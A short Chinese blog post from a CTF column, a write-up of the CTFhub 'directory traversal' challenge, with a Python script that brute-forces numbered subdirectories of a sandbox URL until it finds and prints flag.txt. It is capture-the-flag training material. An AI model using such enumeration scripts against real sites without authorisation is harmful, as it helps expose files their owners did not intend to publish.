2021-07-06

最新推荐文章于 2025-03-17 15:48:33 发布

小白中的菜鸡中的小白

最新推荐文章于 2025-03-17 15:48:33 发布

阅读量129

点赞数

分类专栏： ctf

本文链接：https://blog.youkuaiyun.com/Loser_LOSERdyh/article/details/118512904

版权

ctf 专栏收录该内容

1 篇文章

订阅专栏

该博客介绍了如何通过Python进行目录遍历攻击，以寻找目标网站中的敏感文件`flag.txt`。作者使用了`requests`库，通过双重循环对URL的子目录进行穷举，当找到包含`flag.txt`的页面时，进一步请求该文件内容并打印出来。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

CTFhub 目录遍历
先点进去看了下目录，有两层，所以直接暴力循环

import requests
def nb():
    url = "http://challenge-cd17494c9655b07d.sandbox.ctfhub.com:10800/flag_in_here/"
    for i in range(1, 5):
        for j in range(1, 5):
            gg=url + str(i) + "/" + str(j)
            find = requests.get(url + str(i) + "/" + str(j))
            find.encoding = "utf-8"
            if "flag.txt" in find.text:
                print(requests.get(gg+"/flag.txt").text)
                return
nb()